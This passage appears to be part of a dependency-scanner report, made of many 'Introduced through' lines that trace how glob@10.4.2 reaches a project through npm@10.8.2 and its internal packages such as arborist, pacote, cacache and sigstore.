  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
